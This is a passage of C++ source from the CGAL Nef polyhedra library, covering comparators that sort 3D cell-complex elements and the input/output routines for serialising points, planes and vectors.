typedef CGAL::Cartesian_converter<R, EK> Converter;
typedef CGAL::Point_3<EK> Point_3;
typedef CGAL::Plane_3<EK> Plane_3;
typedef CGAL::Vector_3<EK> Vector_3;
static Point_3 convert(const CGAL::Point_3<R>& p){return Converter()(p);}
static Plane_3 convert(const CGAL::Plane_3<R>& p){return Converter()(p);}
static Vector_3 convert(const CGAL::Vector_3<R>& v){return Converter()(v);}
};
template <class R, class NT>
struct Type_converter<R, false, ::CGAL::Lazy_exact_nt<NT>, ::CGAL::Homogeneous_tag>{
typedef CGAL::Simple_homogeneous< NT, CGAL::Quotient<NT> > EK;
typedef CGAL::Homogeneous_converter<R, EK> Converter;
typedef CGAL::Point_3<EK> Point_3;
typedef CGAL::Plane_3<EK> Plane_3;
typedef CGAL::Vector_3<EK> Vector_3;
static Point_3 convert(const CGAL::Point_3<R>& p){return Converter()(p);}
static Plane_3 convert(const CGAL::Plane_3<R>& p){return Converter()(p);}
static Vector_3 convert(const CGAL::Vector_3<R>& v){return Converter()(v);}
};
template <class R>
typename Type_converter<R>::Point_3 get_point(const CGAL::Point_3<R>& p){ return Type_converter<R>::convert(p); }
template <class R>
typename Type_converter<R>::Plane_3 get_plane(const CGAL::Plane_3<R>& p){ return Type_converter<R>::convert(p); }
template <class R>
typename Type_converter<R>::Vector_3 get_vector(const CGAL::Vector_3<R>& v){ return Type_converter<R>::convert(v); }
} //end of Nef_3_internal
template<typename T>
class moreLeft : public T {
typedef typename T::SM_decorator SM_decorator;
typedef typename T::SHalfedge_handle SHalfedge_handle;
typedef typename T::Vector_3 Vector_3;
typedef typename T::FT FT;
typedef typename T::RT RT;
public:
moreLeft(T D) : T(D) {}
int operator()(SHalfedge_handle se1, SHalfedge_handle se2) {
CGAL_assertion(se1 != SHalfedge_handle());
if(se2 == SHalfedge_handle())
return -1;
SM_decorator SM(&*se1->source()->source());
Vector_3 vec1 = se1->circle().orthogonal_vector();
Vector_3 vec2 = se2->circle().orthogonal_vector();
if(vec1 == vec2)
return 0;
if(vec1.x() == RT(0) && vec2.x() == RT(0)) {
if(vec1.y() != vec2.y()) {
if(vec1.y() < vec2.y())
return -1;
else
return 1;
}
if(vec1.z() < vec2.z())
return -1;
else
return 1;
}
Vector_3 minus(-1,0,0);
FT sk1(minus*vec1), sk2(minus*vec2);
if((sk1 >= FT(0) && sk2 <= FT(0)) ||
(sk1 <= FT(0) && sk2 >= FT(0))) {
if(sk1 > FT(0) || sk2 < FT(0))
return -1;
else
return 1;
}
FT len1 = vec1.x()*vec1.x()+vec1.y()*vec1.y()+vec1.z()*vec1.z();
FT len2 = vec2.x()*vec2.x()+vec2.y()*vec2.y()+vec2.z()*vec2.z();
FT diff = len1*sk2*sk2 - len2*sk1*sk1;
if(diff != FT(0)) {
if((sk1>FT(0) && diff<FT(0)) || (sk1<FT(0) && diff>FT(0)))
return -1;
else
return 1;
}
return 0;
}
};
template <typename T>
class sort_vertices : public SNC_decorator<T> {
typedef T SNC_structure;
typedef CGAL::SNC_decorator<T> Base;
typedef typename T::Vertex_handle Vertex_handle;
typedef typename T::Point_3 Point_3;
public:
sort_vertices(T& D) : Base(D) {}
bool operator() (Vertex_handle v1, Vertex_handle v2) const {
return lexicographically_xyz_smaller(v1->point(), v2->point());
}
};
template <typename T>
class sort_edges : public SNC_decorator<T> {
typedef T SNC_structure;
typedef CGAL::SNC_decorator<T> Base;
typedef typename T::Halfedge_handle Halfedge_handle;
public:
sort_edges(T& D) : Base(D) {}
bool operator() (Halfedge_handle e1, Halfedge_handle e2) const {
sort_vertices<T> SORT(*this->sncp());
if(e1->source() != e2->source())
return SORT(e1->source(),e2->source());
return SORT(e1->twin()->source(), e2->twin()->source());
}
};
template <typename T>
class sort_facets : public SNC_decorator<T> {
typedef T SNC_structure;
typedef SNC_decorator<T> Base;
typedef typename T::Halffacet_handle Halffacet_handle;
typedef typename T::SHalfedge_handle SHalfedge_handle;
typedef typename T::Vector_3 Vector_3;
typedef typename T::Plane_3 Plane_3;
public:
sort_facets(T& D) : Base(D) {}
bool operator() (Halffacet_handle f1, Halffacet_handle f2) const {
Plane_3 p1(f1->plane());
Plane_3 p2(f2->plane());
if(p1.d() != p2.d())
return p1.d() < p2.d();
else if(p1.a() != p2.a())
return p1.a() < p2.a();
else if(p1.b() != p2.b())
return p1.b() < p2.b();
else if(p1.c() != p2.c())
return p1.c() < p2.c();
SHalfedge_handle se1 = SHalfedge_handle(f1->facet_cycles_begin());
SHalfedge_handle se2 = SHalfedge_handle(f2->facet_cycles_begin());
sort_vertices<T> SORT(*this->sncp());
if(se1->source()->source() != se2->source()->source())
return SORT(se1->source()->source(), se2->source()->source());
se1 = se1->next();
se2 = se2->next();
CGAL_assertion(se1->source()->source() != se2->source()->source());
return SORT(se1->source()->source(), se2->source()->source());
}
};
template <typename T>
class sort_sedges : public SNC_decorator<T> {
typedef T SNC_structure;
typedef CGAL::SNC_decorator<T> Base;
typedef CGAL::SM_decorator<T> SM_decorator;
typedef typename T::Vertex_handle Vertex_handle;
typedef typename T::SHalfedge_handle SHalfedge_handle;
typedef typename T::Sphere_circle Sphere_circle;
public:
sort_sedges(T& D) : Base(D) {}
bool operator() (SHalfedge_handle se1, SHalfedge_handle se2) const {
CGAL_NEF_TRACEN("sort sedges");
if(se1 == se2) return false;
sort_vertices<T> SORT(*this->sncp());
CGAL_NEF_TRACEN(" center verices: " << se1->source()->source()->point() <<
" , " << se2->source()->source()->point());
if(se1->source()->source() != se2->source()->source())
return SORT(se1->source()->source(),se2->source()->source());
if(se1 == se2->twin()) {
if(se1->source() == se2->source()) {
Sphere_circle vec1 = se1->circle();
Sphere_circle vec2 = se2->circle();
if(vec1.a() != vec2.a())
return vec1.a() < vec2.a();
else if(vec1.b() != vec2.b())
return vec1.b() < vec2.b();
return vec1.c() < vec2.c();
}
else
return SORT(se1->source()->twin()->source(), se2->source()->twin()->source());
}
if(SORT(se1->twin()->source()->twin()->source(),
se1->source()->twin()->source()))
se1 = se1->twin();
if(SORT(se2->twin()->source()->twin()->source(),
se2->source()->twin()->source()))
se2 = se2->twin();
CGAL_NEF_TRACEN(" ssources " << se1->source()->twin()->source()->point()
<< " , " << se2->source()->twin()->source()->point());
if(se1->source() != se2->source())
return SORT(se1->source()->twin()->source(), se2->source()->twin()->source());
CGAL_NEF_TRACEN(" starget " << se1->twin()->source()->twin()->source()->point() <<
" , " << se2->twin()->source()->twin()->source()->point());
if(se1->twin()->source()->twin()->source() != se2->twin()->source()->twin()->source())
return SORT(se1->twin()->source()->twin()->source(), se2->twin()->source()->twin()->source());
CGAL_assertion(se1->circle() != se2->circle());
Sphere_circle vec1 = se1->circle();
Sphere_circle vec2 = se2->circle();
if(vec1.a() != vec2.a())
return vec1.a() < vec2.a();
else if(vec1.b() != vec2.b())
return vec1.b() < vec2.b();
return vec1.c() < vec2.c();
}
};
template <typename T>
class sort_sloops : public SNC_decorator<T> {
typedef T SNC_structure;
typedef CGAL::SNC_decorator<T> Base;
typedef typename T::SHalfloop_handle SHalfloop_handle;
public:
sort_sloops(T& D) : Base(D) {}
bool operator() (SHalfloop_handle sl1, SHalfloop_handle sl2) const {
if(sl1 == sl2) return false;
sort_vertices<T> SORTV(*this->sncp());
sort_facets<T> SORTF(*this->sncp());
if(sl1->incident_sface()->center_vertex() != sl2->incident_sface()->center_vertex())
return SORTV(sl1->incident_sface()->center_vertex(),sl2->incident_sface()->center_vertex());
return SORTF(sl1->facet(), sl2->facet());
}
};
template <typename T>
class sort_sface_cycle_entries : public SNC_decorator<T> {
typedef T SNC_structure;
typedef CGAL::SNC_decorator<T> Base;
typedef typename T::SM_decorator SM_decorator;
typedef typename T::Object_handle Object_handle;
typedef typename T::SVertex_handle SVertex_handle;
typedef typename T::SHalfedge_handle SHalfedge_handle;
typedef typename T::SHalfloop_handle SHalfloop_handle;
typedef typename T::SFace_handle SFace_handle;
typedef typename T::Point_3 Point_3;
typedef typename T::Vector_3 Vector_3;
public:
sort_sface_cycle_entries(T D) : Base(D) {}
bool operator() (Object_handle o1, Object_handle o2) const {
CGAL_NEF_TRACEN("sort sface cycles ");
SVertex_handle sv1, sv2;
SHalfedge_handle se1, se2;
SHalfloop_handle sl1, sl2;
if(!CGAL::assign(se1,o1) && !CGAL::assign(sl1,o1) && !CGAL::assign(sv1,o1))
CGAL_error_msg("wrong handle");
if(!CGAL::assign(se2,o2) && !CGAL::assign(sl2,o2) && !CGAL::assign(sv2,o2))
CGAL_error_msg("wrong handle");
if(se1 != SHalfedge_handle() && se2 == SHalfedge_handle())
return true;
if(se1 == SHalfedge_handle() && se2 != SHalfedge_handle())
return false;
if(sl1 != SHalfloop_handle() && sv2 != SVertex_handle())
return true;
if(sl2 != SHalfloop_handle() && sv1 != SVertex_handle())
return false;
if(se1 != SHalfedge_handle() && se2 != SHalfedge_handle()) {
CGAL_NEF_TRACEN(" sedges " << &*se1 << " , " << &*se2);
sort_sedges<SNC_structure> SORT(*this->sncp());
return SORT(se1,se2);
/*
sort_vertices<SNC_structure> SORT(*this->sncp());
if(ssource(se1) != ssource(se2))
return SORT(se1->source()->twin()->source(), se2->source()->twin()->source());
else
return SORT(se1->target(), se2->target());
*/
}
if(sl1 != SHalfloop_handle() && sl2 != SHalfloop_handle()) {
Vector_3 vec1(sl1->circle().orthogonal_vector());
Vector_3 vec2(sl2->circle().orthogonal_vector());
// CGAL_assertion(vec1 == vec2.antipode());
if(vec1.x() != vec2.x())
return vec1.x() < vec2.x();
else if(vec1.y() != vec2.y())
return vec1.y() < vec2.y();
else if(vec1.z() != vec2.z())
return vec1.z() < vec2.z();
}
CGAL_assertion(sv1 != SVertex_handle() && sv2 != SVertex_handle());
sort_vertices<SNC_structure> SORT(*this->sncp());
return SORT(sv1->twin()->source(), sv2->twin()->source());
}
};
template <typename T>
class sort_sfaces : public SNC_decorator<T> {
typedef T SNC_structure;
typedef CGAL::SNC_decorator<T> Base;
typedef typename T::SM_decorator SM_decorator;
typedef typename T::Point_3 Point_3;
typedef typename T::Vector_3 Vector_3;
typedef typename T::SVertex_handle SVertex_handle;
typedef typename T::SHalfedge_handle SHalfedge_handle;
typedef typename T::SHalfloop_handle SHalfloop_handle;
typedef typename T::SFace_handle SFace_handle;
typedef typename T::SFace_cycle_iterator SFace_cycle_iterator;
typedef typename T::SHalfedge_around_sface_circulator
SHalfedge_around_sface_circulator;
public:
sort_sfaces(T& D) : Base(D) {}
bool operator() (SFace_handle sf1, SFace_handle sf2) const {
CGAL_NEF_TRACEN("sort sfaces");
if(&*sf1 == &*sf2) return false;
sort_vertices<T> SORT(*this->sncp());
CGAL_NEF_TRACEN(" vertices " << sf1->center_vertex()->point() << " , " << sf2->center_vertex()->point());
if(sf1->center_vertex() != sf2->center_vertex())
return SORT(sf1->center_vertex(), sf2->center_vertex());
// sort_sface_cycle_entries<Base> sort_cycles((Base) *this);
// return sort_cycles(*sf1->sface_cycles_begin(), *sf2->sface_cycles_begin());
SM_decorator SD(&*sf1->center_vertex());
moreLeft<Base> ml((Base) *this);
Vector_3 plus(1,0,0);
SFace_cycle_iterator fc;
CGAL_NEF_TRACEN(" sface 1");
SHalfedge_handle se1;
SHalfloop_handle sl1;
CGAL_forall_sface_cycles_of(fc,sf1) {
if(fc.is_shalfedge()) {
SHalfedge_handle se(fc);
SHalfedge_around_sface_circulator ec(se),ee(se);
CGAL_For_all(ec,ee) {
CGAL_NEF_TRACEN(" " << ec->source()->point() <<
" | " << ec->circle().orthogonal_vector());
if(ml(ec, se1) == -1)
se1 = ec;
}
}
else if(fc.is_shalfloop())
sl1 = SHalfloop_handle(fc);
else
CGAL_assertion(fc.is_svertex());
}
CGAL_NEF_TRACEN(" sface 2");
SHalfedge_handle se2;
SHalfloop_handle sl2;
CGAL_forall_sface_cycles_of(fc,sf2) {
if(fc.is_shalfedge()) {
SHalfedge_handle se(fc);
SHalfedge_around_sface_circulator ec(se),ee(se);
CGAL_For_all(ec,ee) {
CGAL_NEF_TRACEN(" " << ec->source()->point() <<
" | " << ec->circle().orthogonal_vector());
if(ml(ec, se2) == -1)
se2 = ec;
}
}
else if(fc.is_shalfloop())
sl2 = SHalfloop_handle(fc);
else
CGAL_assertion(fc.is_svertex());
}
CGAL_NEF_TRACEN(" sedge cycles existing? " << (se1 != SHalfedge_handle())
<< " , " << (se2 != SHalfedge_handle()));
if(se1 != SHalfedge_handle() && se2 == SHalfedge_handle())
return true;
if(se1 == SHalfedge_handle() && se2 != SHalfedge_handle())
return false;
if(se1 == SHalfedge_handle() && se2 == SHalfedge_handle()) {
Vector_3 vec1 = sl1->circle().orthogonal_vector();
Vector_3 vec2 = sl2->circle().orthogonal_vector();
CGAL_NEF_TRACEN(" sloops " << vec1 << " , " << vec2);
if(vec1.x() != vec2.x())
return vec1.x() < vec2.x();
else if(vec1.y() != vec2.y())
return vec1.y() < vec2.y();
else if(vec1.z() != vec2.z())
return vec1.z() < vec2.z();
}
CGAL_assertion(se1 != SHalfedge_handle() && se2 != SHalfedge_handle());
CGAL_NEF_TRACEN(" minimal sedge in sface 1:" << se1->source()->point() <<
" , " << se1->circle().orthogonal_vector());
CGAL_NEF_TRACEN(" minimal sedge in sface 2:" << se2->source()->point() <<
" , " << se2->circle().orthogonal_vector());
CGAL_NEF_TRACEN("result " << ml(se1,se2));
switch(ml(se1, se2)) {
case -1: return true;
case 1: return false;
}
sort_sface_cycle_entries<T> SORTSFC(*this->sncp());
return SORTSFC(*sf1->sface_cycles_begin(), *sf2->sface_cycles_begin());
}
};
template <typename T>
class sort_volumes : public SNC_decorator<T> {
typedef T SNC_structure;
typedef CGAL::SNC_decorator<T> Base;
typedef typename T::Volume_handle Volume_handle;
typedef typename T::SFace_handle SFace_handle;
public:
sort_volumes(T& D) : Base(D) {}
bool operator() (Volume_handle c1, Volume_handle c2) const {
CGAL_NEF_TRACEN("sort volumes");
SFace_handle sf1 = SFace_handle(c1->shells_begin());
SFace_handle sf2 = SFace_handle(c2->shells_begin());
sort_sfaces<T> SORT(*this->sncp());
return SORT(sf1, sf2);
}
};
template <typename T>
class sort_facet_cycle_entries : public T {
typedef typename T::SNC_structure SNC_structure;
typedef typename T::SM_decorator SM_decorator;
typedef typename T::Object_handle Object_handle;
typedef typename T::SHalfedge_handle SHalfedge_handle;
typedef typename T::SHalfloop_handle SHalfloop_handle;
typedef typename T::SFace_handle SFace_handle;
typedef typename T::Point_3 Point_3;
typedef typename T::Vector_3 Vector_3;
public:
sort_facet_cycle_entries(T D) : T(D) {}
bool operator() (Object_handle o1, Object_handle o2) const {
SHalfedge_handle se1, se2;
SHalfloop_handle sl1, sl2;
if(!CGAL::assign(se1,o1) && !CGAL::assign(sl1,o1))
CGAL_error_msg("wrong handle");
if(!CGAL::assign(se2,o2) && !CGAL::assign(sl2,o2))
CGAL_error_msg("wrong handle");
if(se1 != SHalfedge_handle() && se2 != SHalfedge_handle()) {
sort_vertices<SNC_structure> SORT(*this->sncp());
return SORT(se1->source()->source(), se2->source()->source());
}
if(se1 != SHalfedge_handle())
return true;
if(se2 != SHalfedge_handle())
return false;
CGAL_assertion(sl1 != SHalfloop_handle() &&
sl2 != SHalfloop_handle());
SM_decorator SD(&*sl1->incident_sface()->center_vertex());
Vector_3 vec1(sl1->circle().orthogonal_vector());
Vector_3 vec2(sl2->circle().orthogonal_vector());
// CGAL_assertion(vec1 == vec2.antipode());
if(vec1.x() != vec2.x())
return vec1.x() < vec2.x();
else if(vec1.y() != vec2.y())
return vec1.y() < vec2.y();
else
return vec1.z() < vec2.z();
}
};
template <typename T>
class sort_shell_entries : public T {
typedef typename T::Object_handle Object_handle;
typedef typename T::Shell_entry_iterator Shell_entry_iterator;
typedef typename T::SFace_handle SFace_handle;
typedef typename T::Point_3 Point_3;
public:
sort_shell_entries(T D) : T(D) {}
bool operator() (Object_handle o1, Object_handle o2) const {
SFace_handle sf1, sf2;
CGAL::assign(sf1, o1);
CGAL::assign(sf2, o2);
Point_3 p1(sf1->center_vertex()->point()), p2(sf2->center_vertex()->point());
if(p1.x() != p2.x())
return p1.x() < p2.x();
else if(p1.y() != p2.y())
return p1.y() < p2.y();
return p1.z() < p2.z();
}
};
template<typename T>
struct find_minimal_sface_of_shell : public SNC_decorator<T> {
typedef T SNC_structure;
typedef CGAL::SNC_decorator<T> Base;
typedef typename T::Vertex_handle Vertex_handle;
typedef typename T::Halfedge_handle Halfedge_handle;
typedef typename T::Halffacet_handle Halffacet_handle;
typedef typename T::SFace_handle SFace_handle;
typedef typename T::SHalfedge_handle SHalfedge_handle;
typedef typename T::SHalfloop_handle SHalfloop_handle;
typedef CGAL::Unique_hash_map<SFace_handle,bool> SFace_visited_hash;
SFace_visited_hash& Done;
SFace_handle sf_min;
sort_sfaces<T> SORT;
find_minimal_sface_of_shell(T& D, SFace_visited_hash& Vi)
: Base(D), Done(Vi), SORT(D) {}
void visit(SFace_handle h) {
Done[h]=true;
if(sf_min == SFace_handle())
sf_min = h;
else {
if(SORT(h,sf_min))
sf_min = h;
}
}
void visit(Vertex_handle ) {}
void visit(Halfedge_handle ) {}
void visit(Halffacet_handle ) {}
void visit(SHalfedge_handle ) {}
void visit(SHalfloop_handle ) {}
SFace_handle& minimal_sface() { return sf_min; }
};
template<typename Tag, typename Kernel> class Geometry_io;
template<typename Kernel>
class Geometry_io<Cartesian_tag, Kernel> {
public:
template <typename EK, typename K> static
typename EK::Point_3 read_point(std::istream& in) {
typedef Fraction_traits<typename K::FT> FracTraits;
typename FracTraits::Type hx, hy, hz, hw;
typename FracTraits::Numerator_type num;
typename FracTraits::Denominator_type denom(1);
typename FracTraits::Compose composer;
in >> num;
hx = composer(num, denom);
in >> num;
hy = composer(num, denom);
in >> num;
hz = composer(num, denom);
in >> num;
hw = composer(num, denom);
return typename EK::Point_3(hx,hy,hz,hw);
}
template <typename EK, typename K> static
typename EK::Plane_3 read_plane(std::istream& in) {
typedef Fraction_traits<typename K::FT> FracTraits;
typename FracTraits::Type a, b, c, d;
typename FracTraits::Numerator_type num;
typename FracTraits::Denominator_type denom(1);
typename FracTraits::Compose composer;
in >> num;
a = composer(num, denom);
in >> num;
b = composer(num, denom);
in >> num;
c = composer(num, denom);
in >> num;
d = composer(num, denom);
return typename EK::Plane_3(a,b,c,d);
}
template <typename R> static
void print_point_impl(std::ostream& out, const CGAL::Point_3<R> p) {
typedef Fraction_traits<typename R::FT> FracTraits;
typedef std::vector<typename FracTraits::Numerator_type> NV;
typename FracTraits::Numerator_type num;
typename FracTraits::Denominator_type denom;
typename FracTraits::Decompose decomposer;
NV vec;
decomposer(p.x(),num,denom);
vec.push_back(num);
vec.push_back(denom);
vec.push_back(denom);
vec.push_back(denom);
decomposer(p.y(),num,denom);
vec[0]*=denom;
vec[1]*=num;
vec[2]*=denom;
vec[3]*=denom;
decomposer(p.z(),num,denom);
vec[0]*=denom;
vec[1]*=denom;
vec[2]*=num;
vec[3]*=denom;
Normalizing<Homogeneous_tag>::
normalized(vec.begin(),vec.end());
out << vec[0] << " " << vec[1] << " "
<< vec[2] << " " << vec[3];
}
template <typename R> static
void print_vector_impl(std::ostream& out, const CGAL::Vector_3<R> p) {
typedef Fraction_traits<typename R::FT> FracTraits;
typedef typename FracTraits::Numerator_type NumType;
typedef std::vector<NumType> NV;
typename FracTraits::Numerator_type num;
typename FracTraits::Denominator_type denom;
typename FracTraits::Decompose decomposer;
NV vec;
decomposer(p.x(),num,denom);
vec.push_back(num);
vec.push_back(denom);
vec.push_back(denom);
decomposer(p.y(),num,denom);
vec[0]*=denom;
vec[1]*=num;
vec[2]*=denom;
decomposer(p.z(),num,denom);
vec[0]*=denom;
vec[1]*=denom;
vec[2]*=num;
Normalizing<Homogeneous_tag>::
normalized(vec.begin(),vec.end());
out << vec[0] << " " << vec[1] << " "
<< vec[2] << " " << NumType(1);
}
template <typename R> static
void print_plane_impl(std::ostream& out, const CGAL::Plane_3<R> p) {
typedef Fraction_traits<typename R::FT> FracTraits;
typedef std::vector<typename FracTraits::Numerator_type> NV;
typename FracTraits::Numerator_type num;
typename FracTraits::Denominator_type denom;
typename FracTraits::Decompose decomposer;
NV vec;
decomposer(p.a(),num,denom);
vec.push_back(num);
vec.push_back(denom);
vec.push_back(denom);
vec.push_back(denom);
decomposer(p.b(),num,denom);
vec[0]*=denom;
vec[1]*=num;
vec[2]*=denom;
vec[3]*=denom;
decomposer(p.c(),num,denom);
vec[0]*=denom;
vec[1]*=denom;
vec[2]*=num;
vec[3]*=denom;
decomposer(p.d(),num,denom);
vec[0]*=denom;
vec[1]*=denom;
vec[2]*=denom;
vec[3]*=num;
Normalizing<Homogeneous_tag>::
normalized(vec.begin(),vec.end());
out << vec[0] << " " << vec[1] << " "
<< vec[2] << " " << vec[3];
}
template <class R> static
void print_point(std::ostream& out, const CGAL::Point_3<R>& p) {
print_point_impl(out, Nef_3_internal::get_point(p) );
}
template <class R> static
void print_vector(std::ostream& out, const CGAL::Vector_3<R>& v) {
print_vector_impl(out, Nef_3_internal::get_vector(v) );
}
template <class R> static
void print_plane(std::ostream& out, const CGAL::Plane_3<R>& p) {
print_plane_impl(out, Nef_3_internal::get_plane(p) );
}
};
template<typename Kernel>
class Geometry_io<Homogeneous_tag, Kernel> {
public:
template <typename EK, typename K> static
typename EK::Point_3 read_point(std::istream& in) {
typename K::RT hx, hy, hz, hw;
in >> hx >> hy >> hz >> hw;
return typename EK::Point_3(hx, hy, hz, hw);
}
template <typename EK, typename K> static
typename EK::Plane_3 read_plane(std::istream& in) {
typename K::RT a, b, c, d;
in >> a >> b >> c >> d;
return typename EK::Plane_3(a, b, c, d);
}
template <typename R> static
void print_point_impl(std::ostream& out, const CGAL::Point_3<R>& p) {
out << p;
}
template <typename R> static
void print_vector_impl(std::ostream& out, const CGAL::Vector_3<R>& vec) {
out << vec;
}
template <typename R> static
void print_plane_impl(std::ostream& out, const CGAL::Plane_3<R>& p) {
out << p;
}
template <class R> static
void print_point(std::ostream& out, const CGAL::Point_3<R>& p) {
print_point_impl(out, Nef_3_internal::get_point(p) );
}
template <class R> static
void print_vector(std::ostream& out, const CGAL::Vector_3<R>& v) {
print_vector_impl(out, Nef_3_internal::get_vector(v) );
}
template <class R> static
void print_plane(std::ostream& out, const CGAL::Plane_3<R>& p) {
print_plane_impl(out, Nef_3_internal::get_plane(p) );
}
};
template <typename SNC_structure_>
class SNC_io_parser : public SNC_decorator<SNC_structure_>
{ typedef SNC_structure_ SNC_structure;
typedef CGAL::SNC_io_parser<SNC_structure_> Self;
typedef CGAL::SNC_decorator<SNC_structure_> Base;
typedef typename Base::SNC_constructor SNC_constructor;
typedef typename SNC_structure::Sphere_map Sphere_map;
typedef CGAL::SM_decorator<Sphere_map> SM_decorator;
typedef typename SNC_structure::Infi_box Infi_box;
typedef typename Infi_box::Standard_kernel Standard_kernel;
public:
typedef typename SNC_structure::Vertex_iterator Vertex_iterator;
typedef typename SNC_structure::Vertex_handle Vertex_handle;
typedef typename SNC_structure::Halfedge_iterator Halfedge_iterator;
typedef typename SNC_structure::Halfedge_handle Halfedge_handle;
typedef typename SNC_structure::Halffacet_iterator Halffacet_iterator;
typedef typename SNC_structure::Halffacet_handle Halffacet_handle;
typedef typename SNC_structure::Volume_iterator Volume_iterator;
typedef typename SNC_structure::Volume_handle Volume_handle;
typedef typename SNC_structure::SVertex_iterator SVertex_iterator;
typedef typename SNC_structure::SVertex_handle SVertex_handle;
typedef typename SNC_structure::SHalfedge_iterator SHalfedge_iterator;
typedef typename SNC_structure::SHalfedge_handle SHalfedge_handle;
typedef typename SNC_structure::SFace_iterator SFace_iterator;
typedef typename SNC_structure::SFace_handle SFace_handle;
typedef typename SNC_structure::SHalfloop_iterator SHalfloop_iterator;
typedef typename SNC_structure::SHalfloop_handle SHalfloop_handle;
typedef typename SNC_structure::Object_iterator Object_iterator;
typedef typename SNC_structure::Object_handle Object_handle;
typedef typename SNC_structure::SFace_cycle_iterator SFace_cycle_iterator;
typedef typename SNC_structure::Halffacet_cycle_iterator Halffacet_cycle_iterator;
typedef typename SNC_structure::Shell_entry_iterator Shell_entry_iterator;
typedef typename SNC_structure::SHalfedge_around_svertex_circulator
SHalfedge_around_svertex_circulator;
typedef typename SNC_structure::SHalfedge_around_sface_circulator
SHalfedge_around_sface_circulator;
typedef typename SNC_structure::SHalfedge_around_facet_circulator
SHalfedge_around_facet_circulator;
typedef typename SNC_structure::Point_3 Point_3;
typedef typename SNC_structure::Plane_3 Plane_3;
typedef typename SNC_structure::Vector_3 Vector_3;
typedef typename SNC_structure::Sphere_point Sphere_point;
typedef typename SNC_structure::Sphere_segment Sphere_segment;
typedef typename SNC_structure::Sphere_circle Sphere_circle;
typedef typename SNC_structure::Mark Mark;
typedef typename SNC_structure::Kernel Kernel;
typedef typename Kernel::RT RT;
typedef typename Infi_box::Standard_point Standard_point;
typedef typename Infi_box::Standard_vector Standard_vector;
typedef typename Infi_box::Standard_plane Standard_plane;
#ifdef CGAL_I_DO_WANT_TO_USE_GENINFO
typedef void* GenPtr;
#else
typedef boost::any GenPtr;
#endif
using Base::visit_shell_objects;
private:
std::istream& in; std::ostream& out;
bool verbose;
bool reduce;
bool sorted;
bool addInfiBox;
CGAL::Object_index<Vertex_iterator> VI;
CGAL::Object_index<Halfedge_iterator> EI;
CGAL::Object_index<Halffacet_iterator> FI;
CGAL::Object_index<Volume_iterator> CI;
CGAL::Object_index<SHalfedge_iterator> SEI;
CGAL::Object_index<SHalfloop_iterator> SLI;
CGAL::Object_index<SFace_iterator> SFI;
std::list<Vertex_iterator> VL;
std::list<Halfedge_iterator> EL;
std::list<Halffacet_iterator> FL;
std::list<Volume_iterator> CL;
std::list<SHalfedge_iterator> SEL;
std::list<SHalfloop_iterator> SLL;
std::list<SFace_iterator> SFL;
std::vector<Vertex_iterator> Vertex_of;
std::vector<Halfedge_iterator> Edge_of;
std::vector<Halffacet_iterator> Halffacet_of;
std::vector<Volume_iterator> Volume_of;
std::vector<SVertex_iterator> SVertex_of;
std::vector<SHalfedge_iterator> SEdge_of;
std::vector<SHalfloop_iterator> SLoop_of;
std::vector<SFace_iterator> SFace_of;
std::size_t i,vn,en,fn,cn,sen,sln,sfn;
public:
SNC_io_parser(std::istream& is, SNC_structure& W);
SNC_io_parser(std::ostream& os, SNC_structure& W,
bool sort=false, bool reduce_ = false);
std::string index(Vertex_iterator v) const
{ return VI(v,verbose); }
std::string index(Halfedge_iterator e) const
{ return EI(e,verbose); }
std::string index(Halffacet_iterator f) const
{ return FI(f,verbose); }
std::string index(Volume_iterator c) const
{ return CI(c,verbose); }
std::string index(SHalfedge_iterator e) const
{ return SEI(e,verbose); }
std::string index(SHalfloop_iterator l) const
{ return SLI(l,verbose); }
std::string index(SFace_iterator f) const
{ return SFI(f,verbose); }
std::string index(Object_iterator o) const
{ if( o == 0 )
return this->string("undef");
Vertex_iterator v;
Halfedge_iterator e;
Halffacet_iterator f;
Volume_iterator c;
SHalfedge_iterator se;
SHalfloop_iterator sl;
SFace_iterator sf;
if( CGAL::assign( v, *o))
return index(v);
else if( CGAL::assign( e, *o))
return index(e);
else if( CGAL::assign( f, *o))
return index(f);
else if( CGAL::assign( c, *o))
return index(c);
else if( CGAL::assign( se, *o))
return index(se);
else if( CGAL::assign( sl, *o))
return index(sl);
else if( CGAL::assign( sf, *o))
return index(sf);
return this->string("unknown object");
}
bool check_sep(const char* sep) const;
bool test_string(std::string s) const;
void print_vertex(Vertex_handle) const;
void print_edge(Halfedge_handle) const;
void print_facet(Halffacet_handle) const;
void print_volume(Volume_handle) const;
void print_sedge(SHalfedge_handle) const;
void print_sloop(SHalfloop_handle) const;
void print_sface(SFace_handle) const;
void print() const;
void print_local_graph(Vertex_handle) const;
template <typename NT> bool read_vertex(Vertex_handle);
template <typename NT> bool read_edge(Halfedge_handle);
template <typename NT> bool read_facet(Halffacet_handle);
bool read_volume(Volume_handle);
template <typename NT> bool read_svertex(SVertex_handle);
template <typename NT> bool read_sedge(SHalfedge_handle);
template <typename NT> bool read_sloop(SHalfloop_handle);
bool read_sface(SFace_handle);
void add_infi_box();
void read();
template <typename K> void read_items(int);
static void dump(SNC_structure& W, std::ostream& os = std::cerr, bool sort = false)
{ Self O(os,W, sort); O.print(); }
template <typename Iter, typename Index>
void output_sorted_indexes(Iter begin, Iter end, Index i) const {
int low = i[begin];
int high = low;
for(Iter it=begin; it != end; it++) {
if(i[it] < low) low = i[it];
if(i[it] > high) high = i[it];
}
out << low << " " << high << ", ";
}
};
template <typename EW>
SNC_io_parser<EW>::SNC_io_parser(std::istream& is, SNC_structure& W) :
Base(W), in(is), out(std::cout) {
W.clear();
CGAL_assertion(W.is_empty());
verbose = false;
}
template <typename EW>
SNC_io_parser<EW>::SNC_io_parser(std::ostream& os, SNC_structure& W,
bool sort, bool reduce_) :
Base(W), in(std::cin), out(os),
FI(W.halffacets_begin(),W.halffacets_end(),'F'),
CI(W.volumes_begin(),W.volumes_end(),'C'),
SEI(W.shalfedges_begin(),W.shalfedges_end(),'e'),
SLI(W.shalfloops_begin(),W.shalfloops_end(),'l'),
SFI(W.sfaces_begin(),W.sfaces_end(),'f'),
vn(W.number_of_vertices()),
en(W.number_of_halfedges()),
fn(W.number_of_halffacets()),
cn(W.number_of_volumes()),
sen(W.number_of_shalfedges()),
sln(W.number_of_shalfloops()),
sfn(W.number_of_sfaces())
{
verbose = (get_mode(out) != CGAL::IO::ASCII &&
get_mode(out) != CGAL::IO::BINARY);
sorted = sort;
reduce = reduce_;
reduce = reduce && this->is_extended_kernel() && this->is_bounded();
sorted = sorted || reduce;
Vertex_iterator vi;
CGAL_forall_vertices(vi, *this->sncp()) {
VL.push_back(vi);
if(sorted) {
vi->point() = normalized(vi->point());
